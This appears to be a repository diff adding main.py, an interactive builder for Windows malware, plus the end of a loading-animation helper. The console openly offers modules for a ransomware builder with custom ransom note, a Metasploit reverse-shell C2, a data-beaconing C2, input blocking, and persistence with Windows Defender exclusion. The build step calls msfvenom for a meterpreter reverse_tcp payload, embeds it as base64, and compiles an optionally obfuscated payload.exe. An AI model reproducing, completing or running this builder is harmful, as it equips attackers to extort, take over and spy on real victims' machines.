print(f"\n{YELLOW}[~] {loading_message}{RESET}\n")
|
||||
matrix = generate_random_matrix()
|
||||
for row in matrix:
|
||||
for cell in row:
|
||||
if random.random() < 0.3:
|
||||
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
|
||||
else:
|
||||
print(f"{RED}{cell:^4}{RESET}", end=" ")
|
||||
print()
|
||||
print()
|
||||
sys.stdout.flush()
|
||||
time.sleep(0.2)
|
||||
@contextmanager
|
||||
def loading_state(message=None, duration=2, print_ascii_art=None):
|
||||
stop_flag = [False]
|
||||
def animate():
|
||||
while not stop_flag[0]:
|
||||
show_loading_screen(loading_message=message, duration=0.8, print_ascii_art=print_ascii_art)
|
||||
t = threading.Thread(target=animate)
|
||||
t.start()
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
stop_flag[0] = True
|
||||
t.join()
|
||||
clear_screen()
|
||||
if print_ascii_art:
|
||||
print_ascii_art()
|
||||
395
main.py
Normal file
395
main.py
Normal file
@ -0,0 +1,395 @@
|
||||
import sys
|
||||
sys.dont_write_bytecode = True
|
||||
import os
|
||||
import subprocess
|
||||
import readline
|
||||
from loading import clear_screen
|
||||
import fileinput
|
||||
import base64
|
||||
|
||||
MODULES = {
|
||||
'daemon/filedaemon': {'desc': 'Normal C2 server to receive data'},
|
||||
'daemon/spider': {'desc': 'Metasploit C2 server (reverse shell/payload delivery)'},
|
||||
'daemon/bartmoss': {'desc': 'Ransomware builder'},
|
||||
'interfaceplug/blackout': {'desc': 'Screen blackout utility'},
|
||||
'interfaceplug/suicide': {'desc': 'Block input (DoS)'},
|
||||
'quickhack/ping': {'desc': 'Sends back user info to the C2 server'},
|
||||
'quickhack/icepick': {'desc': 'Adds EXE to persistence and adds exclusion to Windows Defender'},
|
||||
}
|
||||
|
||||
MODULE_CHAIN = []
|
||||
|
||||
BUILD_OPTIONS = {
|
||||
'exe_name': 'payload.exe',
|
||||
'obfuscate': False,
|
||||
}
|
||||
|
||||
MODULE_OPTIONS = {
|
||||
'daemon/spider': {
|
||||
'LHOST': '0.0.0.0',
|
||||
'LPORT': '4444',
|
||||
'KEY': 'changeme',
|
||||
},
|
||||
'daemon/filedaemon': {
|
||||
'PORT': '8080',
|
||||
},
|
||||
'daemon/bartmoss': {
|
||||
'NOTE': 'Your ransom note here',
|
||||
},
|
||||
}
|
||||
|
||||
COMMANDS = ['use', 'build', 'clear', 'delete', 'show modules', 'show options', 'exit', 'set']
|
||||
|
||||
YELLOW = "\033[93m"
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
PINK = "\033[38;2;224;147;217m"
|
||||
RESET = "\033[0m"
|
||||
|
||||
ASCII_ART = f'''
|
||||
-----
|
||||
/ \
|
||||
|
||||
{RED}:================:{RESET} " )/
|
||||
{RED}/|| ||{RESET} )_ /*
|
||||
{RED}/ || {PINK}System{RESET} {RED}||{RESET} *
|
||||
{RED}| || {PINK}Down{RESET} {RED}||{RESET} (=====~*~======)
|
||||
{RED}\\ || {PINK}Please wait{RESET} {RED}||{RESET} 0 \\ / 0
|
||||
{RED}=================={RESET} // (====*====) ||
|
||||
{RED}........... / \\.............{RESET} // * ||
|
||||
{RED}:\\ ############ \\{RESET} || (=====*======) ||
|
||||
{RED}: --------------------------------- {RESET} V * V
|
||||
{RED}: | * |__________|| :::::::::: |{RESET} o (======*=======) o
|
||||
{RED}\\ | | || ....... |{RESET} \\ * ||
|
||||
{RED} --------------------------------- 8{RESET} || (=====*======) //
|
||||
{RED} 8{RESET} V * V
|
||||
{RED} --------------------------------- 8{RESET} =|=; (==/ * \\==) =|=
|
||||
{RED} \\ ########################### \\{RESET} / ! \\ _ * __ / | \\
|
||||
{RED} \\ +++++++++++++++++++++++++++ \\{RESET} ! ! ! (__/ \\__) ! ! !
|
||||
{RED} \\ ++++++++++++++++++++++++++++ \\{RESET} 0 \\ \\V/ / 0
|
||||
{RED} \\________________________________\\{RESET} () \\o o/ ()
|
||||
{RED} *********************************{RESET} () ()
|
||||
'''
|
||||
|
||||
def print_ascii_art():
|
||||
print(ASCII_ART)
|
||||
|
||||
def print_selected_modules():
|
||||
if MODULE_CHAIN:
|
||||
print("Selected modules:")
|
||||
for idx, mod in enumerate(MODULE_CHAIN, 1):
|
||||
print(f" {idx} -> {PINK}{mod}{RESET}")
|
||||
else:
|
||||
print("No modules selected.")
|
||||
|
||||
def print_ui():
|
||||
clear_screen()
|
||||
print_ascii_art()
|
||||
print_selected_modules()
|
||||
print()
|
||||
|
||||
def get_module_names():
|
||||
return list(MODULES.keys())
|
||||
|
||||
def shell_completer(text, state):
|
||||
buffer = readline.get_line_buffer()
|
||||
line = buffer.split()
|
||||
if not line:
|
||||
opts = COMMANDS + get_module_names()
|
||||
elif line[0] == 'use':
|
||||
opts = [m for m in get_module_names() if m.startswith(text)]
|
||||
else:
|
||||
opts = [c for c in COMMANDS if c.startswith(text)]
|
||||
if state < len(opts):
|
||||
return opts[state] + ' '
|
||||
return None
|
||||
|
||||
def print_modules():
|
||||
print("\nAvailable modules:")
|
||||
print(f"{'Module':<25} | Description")
|
||||
print("-"*60)
|
||||
for name, info in MODULES.items():
|
||||
print(f"{name:<25} | {info.get('desc', '')}")
|
||||
print()
|
||||
|
||||
def print_global_options():
|
||||
print(f"{'Option':<15} | Value")
|
||||
print("-"*30)
|
||||
for k, v in BUILD_OPTIONS.items():
|
||||
print(f"{k:<15} | {v}")
|
||||
print()
|
||||
|
||||
def print_module_options(module):
|
||||
opts = MODULE_OPTIONS.get(module)
|
||||
if not opts:
|
||||
print(f"No options for module: {module}")
|
||||
return
|
||||
print(f"{'Option':<15} | Value")
|
||||
print("-"*30)
|
||||
for k, v in opts.items():
|
||||
print(f"{k:<15} | {v}")
|
||||
print()
|
||||
|
||||
def print_options():
|
||||
print(f"{'Option':<15} | Value")
|
||||
print("-"*30)
|
||||
for k, v in BUILD_OPTIONS.items():
|
||||
print(f"{k:<15} | {v}")
|
||||
print()
|
||||
|
||||
def colorize_message(msg):
|
||||
lower = msg.lower()
|
||||
if any(word in lower for word in ["fail", "error", "unknown", "no modules to remove", "usage"]):
|
||||
return f"{RED}{msg}{RESET}"
|
||||
elif any(word in lower for word in ["final merged exe", "set ", "removed module", "all selected modules cleared", "using module"]):
|
||||
return f"{GREEN}{msg}{RESET}"
|
||||
else:
|
||||
return f"{YELLOW}{msg}{RESET}"
|
||||
|
||||
def patch_bartmoss_note(note):
|
||||
go_path = os.path.join('DAEMONS', 'bartmoss.go')
|
||||
with open(go_path, 'r') as f:
|
||||
lines = f.readlines()
|
||||
with open(go_path, 'w') as f:
|
||||
for line in lines:
|
||||
if 'message := ' in line and 'YOUR NOTE HERE' in line:
|
||||
f.write(f' message := "{note}\\n"\n')
|
||||
else:
|
||||
f.write(line)
|
||||
return lines
|
||||
|
||||
def restore_bartmoss_go(original_lines):
|
||||
go_path = os.path.join('DAEMONS', 'bartmoss.go')
|
||||
with open(go_path, 'w') as f:
|
||||
f.writelines(original_lines)
|
||||
|
||||
def generate_msfvenom_exe(lhost, lport, output_path):
|
||||
# Generate a Windows x64 meterpreter reverse_tcp payload
|
||||
import subprocess
|
||||
cmd = [
|
||||
'msfvenom',
|
||||
'-p', 'windows/x64/meterpreter/reverse_tcp',
|
||||
f'LHOST={lhost}',
|
||||
f'LPORT={lport}',
|
||||
'-f', 'exe',
|
||||
'-o', output_path
|
||||
]
|
||||
result = subprocess.run(cmd, capture_output=True)
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(f"msfvenom failed: {result.stderr.decode()}")
|
||||
|
||||
def patch_spider_base64(exe_path):
|
||||
go_path = os.path.join('DAEMONS', 'spider.go')
|
||||
with open(exe_path, 'rb') as f:
|
||||
b64 = base64.b64encode(f.read()).decode()
|
||||
with open(go_path, 'r') as f:
|
||||
lines = f.readlines()
|
||||
with open(go_path, 'w') as f:
|
||||
for line in lines:
|
||||
if 'base64String :=' in line:
|
||||
f.write(f' base64String := "{b64}"\n')
|
||||
else:
|
||||
f.write(line)
|
||||
return lines # Return original lines for restoration
|
||||
|
||||
def restore_spider_go(original_lines):
|
||||
go_path = os.path.join('DAEMONS', 'spider.go')
|
||||
with open(go_path, 'w') as f:
|
||||
f.writelines(original_lines)
|
||||
|
||||
def patch_filedaemon_port(port):
|
||||
go_path = os.path.join('DAEMONS', 'filedaemon.go')
|
||||
with open(go_path, 'r') as f:
|
||||
lines = f.readlines()
|
||||
with open(go_path, 'w') as f:
|
||||
for line in lines:
|
||||
if line.strip().startswith('port := '):
|
||||
f.write(f'port := "{port}"\n')
|
||||
else:
|
||||
f.write(line)
|
||||
return lines
|
||||
|
||||
def restore_filedaemon_go(original_lines):
|
||||
go_path = os.path.join('DAEMONS', 'filedaemon.go')
|
||||
with open(go_path, 'w') as f:
|
||||
f.writelines(original_lines)
|
||||
|
||||
def shell():
|
||||
current_module = None
|
||||
readline.set_completer(shell_completer)
|
||||
readline.parse_and_bind('tab: complete')
|
||||
output_lines = []
|
||||
while True:
|
||||
try:
|
||||
print_ui()
|
||||
if output_lines:
|
||||
for line in output_lines:
|
||||
print(colorize_message(line))
|
||||
prompt_num = len(MODULE_CHAIN) + 1
|
||||
prompt = f"{PINK}{prompt_num} * > {RESET}"
|
||||
print()
|
||||
cmdline = input(prompt)
|
||||
parts = cmdline.strip().split()
|
||||
output_lines = []
|
||||
if not parts:
|
||||
continue
|
||||
cmd = parts[0].lower()
|
||||
if cmd == 'use':
|
||||
if len(parts) < 2:
|
||||
output_lines.append("Usage: use <module>")
|
||||
else:
|
||||
modname = parts[1]
|
||||
if modname not in MODULES:
|
||||
output_lines.append(f"Unknown module: {modname}")
|
||||
elif modname in MODULE_CHAIN:
|
||||
output_lines.append(f"Module already selected: {modname}")
|
||||
else:
|
||||
current_module = modname
|
||||
output_lines.append(f"Using module: {current_module}")
|
||||
MODULE_CHAIN.append(current_module)
|
||||
elif cmd == 'build':
|
||||
if not MODULE_CHAIN:
|
||||
output_lines.append("No modules in chain. Use 'use <module>' to add modules.")
|
||||
else:
|
||||
output_lines.append(f"Building merged malware with {len(MODULE_CHAIN)} modules...")
|
||||
loot_dir = os.path.abspath(os.path.join(os.getcwd(), '.LOOT'))
|
||||
os.makedirs(loot_dir, exist_ok=True)
|
||||
go_paths = []
|
||||
bartmoss_original = None
|
||||
spider_original = None
|
||||
filedaemon_original = None
|
||||
for modname in MODULE_CHAIN:
|
||||
go_path = modname.replace('daemon/', 'DAEMONS/').replace('quickhack/', 'QUICKHACKS/').replace('interfaceplug/', 'INTERFACEPLUGS/') + '.go'
|
||||
# Patch bartmoss note if needed
|
||||
if modname == 'daemon/bartmoss':
|
||||
note = MODULE_OPTIONS.get('daemon/bartmoss', {}).get('NOTE', 'YOUR NOTE HERE')
|
||||
bartmoss_original = patch_bartmoss_note(note)
|
||||
# Patch spider.go with msfvenom payload if needed
|
||||
if modname == 'daemon/spider':
|
||||
opts = MODULE_OPTIONS.get('daemon/spider', {})
|
||||
lhost = opts.get('LHOST', '0.0.0.0')
|
||||
lport = opts.get('LPORT', '4444')
|
||||
payload_path = os.path.join('.LOOT', 'spider_payload.exe')
|
||||
try:
|
||||
generate_msfvenom_exe(lhost, lport, payload_path)
|
||||
except Exception as e:
|
||||
output_lines.append(f"Failed to generate msfvenom payload: {e}")
|
||||
continue
|
||||
spider_original = patch_spider_base64(payload_path)
|
||||
# Patch filedaemon.go with selected port if needed
|
||||
if modname == 'daemon/filedaemon':
|
||||
port = MODULE_OPTIONS.get('daemon/filedaemon', {}).get('PORT', '8080')
|
||||
filedaemon_original = patch_filedaemon_port(port)
|
||||
go_paths.append(go_path)
|
||||
final_name = BUILD_OPTIONS['exe_name']
|
||||
final_path = os.path.abspath(os.path.join(loot_dir, final_name))
|
||||
output_lines.append(f"[*] Merging Go modules into final EXE: {final_name}")
|
||||
obf_flag = []
|
||||
if BUILD_OPTIONS.get('obfuscate'):
|
||||
obf_flag = ['--obfuscate']
|
||||
from loading import loading_state
|
||||
with loading_state(message="Building, please wait...", print_ascii_art=print_ascii_art):
|
||||
result = subprocess.run([sys.executable, 'compiler.py', '--merge'] + go_paths + [final_path] + obf_flag)
|
||||
if result.returncode == 0:
|
||||
output_lines.append(f"Final merged EXE: {final_path}")
|
||||
else:
|
||||
output_lines.append("Failed to create merged EXE.")
|
||||
# Restore bartmoss.go if it was patched
|
||||
if bartmoss_original:
|
||||
restore_bartmoss_go(bartmoss_original)
|
||||
# Restore spider.go if it was patched
|
||||
if spider_original:
|
||||
restore_spider_go(spider_original)
|
||||
# Restore filedaemon.go if it was patched
|
||||
if filedaemon_original:
|
||||
restore_filedaemon_go(filedaemon_original)
|
||||
MODULE_CHAIN.clear()
|
||||
elif cmd == 'clear':
|
||||
MODULE_CHAIN.clear()
|
||||
output_lines.append("All selected modules cleared.")
|
||||
elif cmd == 'delete':
|
||||
if MODULE_CHAIN:
|
||||
removed = MODULE_CHAIN.pop()
|
||||
output_lines.append(f"Removed module: {removed}")
|
||||
else:
|
||||
output_lines.append("No modules to remove.")
|
||||
elif cmd == 'show':
|
||||
if len(parts) < 2:
|
||||
output_lines.append("Usage: show <modules|options|global options>")
|
||||
else:
|
||||
subcmd = parts[1].lower()
|
||||
if subcmd == 'modules':
|
||||
output_lines.append("")
|
||||
output_lines.append(f"{'Module':<25} | Description")
|
||||
output_lines.append("-"*60)
|
||||
for name, info in MODULES.items():
|
||||
output_lines.append(f"{name:<25} | {info.get('desc', '')}")
|
||||
elif subcmd == 'global' and len(parts) > 2 and parts[2].lower() == 'options':
|
||||
from io import StringIO
|
||||
buf = StringIO()
|
||||
buf.write(f"{'Option':<15} | Value\n")
|
||||
buf.write("-"*30 + "\n")
|
||||
for k, v in BUILD_OPTIONS.items():
|
||||
buf.write(f"{k:<15} | {v}\n")
|
||||
output_lines.append(buf.getvalue())
|
||||
elif subcmd == 'options':
|
||||
# Show options for the last selected module
|
||||
if MODULE_CHAIN:
|
||||
mod = MODULE_CHAIN[-1]
|
||||
opts = MODULE_OPTIONS.get(mod)
|
||||
if not opts:
|
||||
output_lines.append(f"No options for module: {mod}")
|
||||
else:
|
||||
buf = []
|
||||
buf.append(f"{'Option':<15} | Value")
|
||||
buf.append("-"*30)
|
||||
for k, v in opts.items():
|
||||
buf.append(f"{k:<15} | {v}")
|
||||
output_lines.extend(buf)
|
||||
else:
|
||||
output_lines.append("No module selected. Use 'use <module>' to select one.")
|
||||
else:
|
||||
output_lines.append(f"Unknown show command: {subcmd}")
|
||||
elif cmd == 'set':
|
||||
if len(parts) < 3:
|
||||
output_lines.append("Usage: set <option> <value>")
|
||||
else:
|
||||
opt = parts[1]
|
||||
val = parts[2]
|
||||
# Try to set module option if a module is selected
|
||||
if MODULE_CHAIN:
|
||||
mod = MODULE_CHAIN[-1]
|
||||
if mod in MODULE_OPTIONS and opt in MODULE_OPTIONS[mod]:
|
||||
MODULE_OPTIONS[mod][opt] = val
|
||||
output_lines.append(f"Set {opt} to {val} for {mod}")
|
||||
elif opt in BUILD_OPTIONS:
|
||||
if opt == 'obfuscate':
|
||||
BUILD_OPTIONS[opt] = val.lower() in ('1', 'true', 'yes', 'on')
|
||||
else:
|
||||
BUILD_OPTIONS[opt] = val
|
||||
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt]}")
|
||||
else:
|
||||
output_lines.append(f"Unknown option: {opt}")
|
||||
else:
|
||||
# No module selected, set global option
|
||||
if opt in BUILD_OPTIONS:
|
||||
if opt == 'obfuscate':
|
||||
BUILD_OPTIONS[opt] = val.lower() in ('1', 'true', 'yes', 'on')
|
||||
else:
|
||||
BUILD_OPTIONS[opt] = val
|
||||
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt]}")
|
||||
else:
|
||||
output_lines.append(f"Unknown option: {opt}")
|
||||
elif cmd in ('exit', 'quit'):
|
||||
print_ui()
|
||||
print("Exiting...")
|
||||
print()
|
||||
break
|
||||
else:
|
||||
output_lines.append(f"Unknown command: {cmd}")
|
||||
except (KeyboardInterrupt, EOFError):
|
||||
print()
|
||||
continue
|
||||
|
||||
if __name__ == "__main__":
|
||||
shell()
|
||||
Reference in New Issue
Block a user